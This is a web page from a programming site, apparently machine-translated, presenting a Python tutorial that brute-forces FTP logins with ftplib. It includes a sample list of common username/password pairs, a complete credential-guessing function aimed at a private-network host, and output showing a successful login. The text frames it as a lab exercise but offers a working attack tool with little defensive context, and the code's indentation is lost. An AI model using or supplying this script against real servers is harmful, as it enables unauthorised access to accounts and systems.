程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

Python Programming -- use ftplib to brutally crack FTP user passwords

編輯:Python

Python Programming – Use Ftplib Brute force FTP User password

Brute force FTP user name / password , Suppose the user name / Password pairs are stored in a plain text file . As shown below :

administrator:password
admin:12345
root:secret
guest:guest
root:toor
xiaowei:xiaowei
kali_lxw:kali

Create a file called bruteLogin() Function of , The parameters this function receives are the host name and the file containing the password , Return a user name that can log in to the host / password . This function reads each line of record in the file line by line , The user name and password are separated by colons . The function then attempts to log in with this username and password FTP The server . If it works , Returns a username and password tuple. If you fail , Skip the exception and continue to the next line . If the function exhausts all lines and fails to log in , Returns a value of None 、None Of tuple.

The sample code is as follows :

import ftplib
def bruteLogin(hostname, passwdFile):
with open(passwdFile, 'r') as pF:
for line in pF.readlines():
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print(f'[+] Trying {
userName}/{
passWord}')
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print(f'\n[*] {
str(hostname)} FTP Logon Succeeded: {
userName}/{
passWord}')
ftp.quit()
return (userName, passWord)
except Exception as e:
pass
print('\n[-] Could not brute force FTP credentials')
return (None, None)
host = '192.168.31.82'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)

By traversing the user name / After the list of password pairs , Finally found a valid user name / Password pairs :xiaowei/xiaowei. The running results are as follows :


[+] Trying administrator/password
[+] Trying admin/12345
[+] Trying root/secret
[+] Trying guest/guest
[+] Trying root/toor
[+] Trying xiaowei/xiaowei
[*] 192.168.31.82 FTP Logon Succeeded: xiaowei/xiaowei
Process finished with exit code 0

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved